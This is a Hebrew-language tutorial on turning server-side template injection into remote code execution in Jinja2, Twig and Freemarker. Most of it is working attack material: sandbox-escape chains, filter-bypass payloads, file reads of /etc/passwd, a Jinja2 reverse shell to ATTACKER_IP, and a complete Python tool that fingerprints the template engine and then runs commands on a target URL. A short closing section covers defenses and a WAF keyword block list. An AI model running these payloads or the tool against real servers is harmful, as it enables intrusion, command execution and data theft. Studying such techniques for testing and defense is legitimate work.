לדלג לתוכן

SSTI ל-RCE - Server-Side Template Injection to Remote Code Execution

מבוא

בקורס הבסיסי למדנו לזהות SSTI ולהריץ ביטויים פשוטים. בשיעור זה נלמד כיצד לנצל SSTI להרצת קוד מלאה (RCE) במנועי template שונים, כולל bypass sandbox ובניית שרשראות exploit מותאמות.


Jinja2 - בריחה מ-Sandbox

הבנת MRO - Method Resolution Order

ב-Python, כל אובייקט יורש מ-object. דרך MRO ניתן לנווט מכל אובייקט לכל מחלקה אחרת במערכת:

# empty string -> the str class -> object -> any other class
''.__class__              # <class 'str'>
''.__class__.__mro__      # (<class 'str'>, <class 'object'>)
''.__class__.__mro__[1]   # <class 'object'>

# from object, you can reach all subclasses
''.__class__.__mro__[1].__subclasses__()
# returns a list of hundreds of classes!

חיפוש מחלקות שימושיות

# Script to find interesting classes
subclasses = ''.__class__.__mro__[1].__subclasses__()
for i, cls in enumerate(subclasses):
    cls_name = cls.__name__
    if cls_name in ['_wrap_close', 'Popen', 'catch_warnings', 'FileLoader']:
        print(f"[{i}] {cls_name} - {cls}")

מחלקות מעניינות:
- os._wrap_close - גישה ל-os.system
- subprocess.Popen - הרצת פקודות
- warnings.catch_warnings - גישה ל-builtins
- importlib._bootstrap.FileLoader - טעינת מודולים

שרשרת exploit בסיסית

{# find os._wrap_close (assume it's at index 132) #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('id') }}

{# or via popen #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}

אוטומציה של מציאת האינדקס

{# script that searches for os._wrap_close #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if cls.__name__ == '_wrap_close' %}
    {{ cls.__init__.__globals__['popen']('id').read() }}
  {% endif %}
{% endfor %}

הbypass הגבלות תווים

כשתווים מסוימים חסומים, ניתן להשתמש בטכניקות חלופיות:

{# if a single quote is blocked - use the request object #}
{{ request.__class__.__mro__[1].__subclasses__() }}

{# if a period is blocked - use the attr filter #}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}

{# if square brackets are blocked - use __getitem__ #}
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132) }}

{# if underscore is blocked - use hex encoding #}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1] }}

{# use config #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

שרשראות חלופיות עם אובייקטים מובנים

{# lipsum - a built-in function in Jinja2 #}
{{ lipsum.__globals__['os'].popen('id').read() }}

{# cycler #}
{{ cycler.__init__.__globals__['os'].popen('id').read() }}

{# joiner #}
{{ joiner.__init__.__globals__['os'].popen('id').read() }}

{# namespace #}
{{ namespace.__init__.__globals__['os'].popen('id').read() }}

שרשרת עם builtins

{# access __builtins__ via catch_warnings #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if cls.__name__ == 'catch_warnings' %}
    {% set builtins = cls.__init__.__globals__['__builtins__'] %}
    {{ builtins['__import__']('os').popen('id').read() }}
  {% endif %}
{% endfor %}

Twig - RCE ב-PHP

שרשרת filter

{# use filter to execute a callback #}
{{ ['id']|filter('system') }}

{# or with map #}
{{ ['id']|map('system') }}

{# use sort with a callback #}
{{ ['id', '']|sort('system') }}

{# use reduce #}
{{ [0, 0]|reduce('system', 'id') }}

שרשרת _self.env

{# access Twig's environment #}
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

{# or via system #}
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("cat /etc/passwd") }}

גרסאות חדשות יותר של Twig

{# Twig 3.x - various chains #}
{{ ['id']|filter('system') }}
{{ ['cat /etc/passwd']|map('system')|join }}

{# use include #}
{{ include('/etc/passwd') }}

Freemarker - RCE ב-Java

שרשרת Execute

<#-- use the Execute class -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

<#-- use ObjectConstructor -->
<#assign oc = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign runtime = oc("java.lang.ProcessBuilder", ["id"])>
${runtime.start()}

<#-- read a file -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}

שרשרת עם built-ins

<#-- use the new built-in -->
<#assign classloader = object?api.class.protectionDomain.classLoader>
<#assign url = classloader.getResource("").toURI()>

<#-- read files -->
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

זיהוי אוטומטי של מנוע Template

תרשים זרימה

Input: ${7*7}
     |
     +-- 49 --> Input: ${7*'7'}
     |              |
     |              +-- 49 --> Twig
     |              +-- 7777777 --> Jinja2
     |              +-- Error --> Unknown
     |
     +-- ${7*7} (as text) --> Input: {{7*7}}
                                    |
                                    +-- 49 --> Input: {{7*'7'}}
                                    |              |
                                    |              +-- 49 --> Twig
                                    |              +-- 7777777 --> Jinja2
                                    |
                                    +-- {{7*7}} --> Input: <%= 7*7 %>
                                                         |
                                                         +-- 49 --> ERB (Ruby)
                                                         +-- Error --> Not SSTI

סקריפט אוטומטי לזיהוי

#!/usr/bin/env python3
"""
SSTI Detection and Exploitation Tool
"""
import requests
import re
import sys

class SSTIExploiter:
    def __init__(self, url, param, method="GET"):
        self.url = url
        self.param = param
        self.method = method
        self.engine = None

    def send_payload(self, payload):
        """Send a payload to the application"""
        if self.method == "GET":
            params = {self.param: payload}
            response = requests.get(self.url, params=params)
        else:
            data = {self.param: payload}
            response = requests.post(self.url, data=data)
        return response.text

    def detect_engine(self):
        """Detect the template engine"""
        print("[*] Detecting template engine...")

        # Test 1: ${7*7}
        result = self.send_payload("${7*7}")
        if "49" in result:
            # Freemarker, Velocity, or Smarty
            result2 = self.send_payload("${7*'7'}")
            if "49" in result2:
                self.engine = "freemarker"
            else:
                self.engine = "velocity"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        # Test 2: {{7*7}}
        result = self.send_payload("{{7*7}}")
        if "49" in result:
            # Jinja2, Twig, or Handlebars
            result2 = self.send_payload("{{7*'7'}}")
            if "7777777" in result2:
                self.engine = "jinja2"
            elif "49" in result2:
                self.engine = "twig"
            else:
                self.engine = "unknown_mustache"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        # Test 3: <%= 7*7 %>
        result = self.send_payload("<%= 7*7 %>")
        if "49" in result:
            self.engine = "erb"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        # Test 4: #{7*7}
        result = self.send_payload("#{7*7}")
        if "49" in result:
            self.engine = "pug"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        print("[-] No template injection detected")
        return None

    def exploit_jinja2(self, command):
        """Exploit Jinja2"""
        payloads = [
            # Chain 1: lipsum
            "{{ lipsum.__globals__['os'].popen('" + command + "').read() }}",
            # Chain 2: cycler
            "{{ cycler.__init__.__globals__['os'].popen('" + command + "').read() }}",
            # Chain 3: subclasses
            "{% for cls in ''.__class__.__mro__[1].__subclasses__() %}"
            "{% if cls.__name__=='_wrap_close' %}"
            "{{ cls.__init__.__globals__['popen']('" + command + "').read() }}"
            "{% endif %}{% endfor %}",
        ]

        for i, payload in enumerate(payloads):
            print(f"[*] Trying Jinja2 chain {i+1}...")
            result = self.send_payload(payload)
            # Search for the command output in the response
            if result and len(result) > 0:
                print(f"[+] Success with chain {i+1}")
                return result

        return None

    def exploit_twig(self, command):
        """Exploit Twig"""
        payloads = [
            "{{ ['" + command + "']|filter('system') }}",
            "{{ ['" + command + "']|map('system') }}",
        ]

        for payload in payloads:
            result = self.send_payload(payload)
            if result:
                return result

        return None

    def exploit_freemarker(self, command):
        """Exploit Freemarker"""
        payload = '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("' + command + '")}'
        return self.send_payload(payload)

    def exploit(self, command):
        """Automatic exploitation based on the detected engine"""
        if not self.engine:
            self.detect_engine()

        if self.engine == "jinja2":
            return self.exploit_jinja2(command)
        elif self.engine == "twig":
            return self.exploit_twig(command)
        elif self.engine == "freemarker":
            return self.exploit_freemarker(command)
        else:
            print(f"[-] No exploit available for {self.engine}")
            return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <param> <command>")
        print(f"Example: {sys.argv[0]} http://target.com/page name 'id'")
        sys.exit(1)

    url = sys.argv[1]
    param = sys.argv[2]
    command = sys.argv[3]

    exploiter = SSTIExploiter(url, param)
    engine = exploiter.detect_engine()

    if engine:
        result = exploiter.exploit(command)
        if result:
            print(f"\n[+] Command output:\n{result}")

Payloads מלאים לכל מנוע

Jinja2 - אוסף Payloads

{# RCE - method 1 #}
{{ lipsum.__globals__['os'].popen('id').read() }}

{# RCE - method 2 #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

{# RCE - method 3 (bypass a filter on quotes) #}
{% set cmd = request.args.get('cmd') %}
{{ lipsum.__globals__['os'].popen(cmd).read() }}

{# RCE - method 4 (bypass a filter on underscore) #}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

{# read a file #}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

{# Reverse Shell #}
{{ lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read() }}

Twig - אוסף Payloads

{# RCE - filter #}
{{ ['id']|filter('system') }}

{# RCE - map #}
{{ ['cat /etc/passwd']|map('system')|join }}

{# RCE - sort callback #}
{{ {1: 'id'}|filter('system') }}

{# read a file #}
{{ '/etc/passwd'|file_excerpt(0, 100) }}

{# information about the environment #}
{{ app.request.server.get('DOCUMENT_ROOT') }}

Freemarker - אוסף Payloads

<#-- RCE - Execute -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

<#-- RCE - ProcessBuilder -->
<#assign pb = "freemarker.template.utility.ObjectConstructor"?new()>
${pb("java.lang.ProcessBuilder", ["bash", "-c", "id"]).start().inputStream.text}

<#-- read a file -->
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", "/etc/passwd")>
<#assign reader = "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", reader)>
<#list 1..999 as _>
  <#assign line = br.readLine()!>
  <#if line?has_content>${line}<br></#if>
</#list>

הגנות

הפרדת Template מנתוני משתמש

# unsafe - inserting user input directly into the template
template_str = f"Hello {user_input}"
template = Template(template_str)
output = template.render()

# safe - passing user data as parameters
template = Template("Hello {{ name }}")
output = template.render(name=user_input)

Sandbox

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("{{ name }}")
output = template.render(name=user_input)
# the Sandbox blocks access to __class__, __mro__, etc.

WAF Rules

# Block dangerous expressions
# __class__, __mro__, __subclasses__, __globals__
# __init__, __import__, popen, system, exec, eval
# lipsum, cycler, joiner, config

סיכום

מנוע Template שפה שרשרת RCE עיקרית קושי
Jinja2 Python lipsum.globals['os'].popen() בינוני
Twig PHP filter('system') נמוך
Freemarker Java Execute?new() נמוך
ERB Ruby system() נמוך
Pug Node.js require('child_process').execSync() בינוני

SSTI היא אחת החולשות שהכי קל לנצל ל-RCE מלא. אם מצאתם SSTI - סביר מאוד שתגיעו ל-RCE. המפתח הוא לזהות את מנוע ה-Template ולהשתמש בשרשרת המתאימה.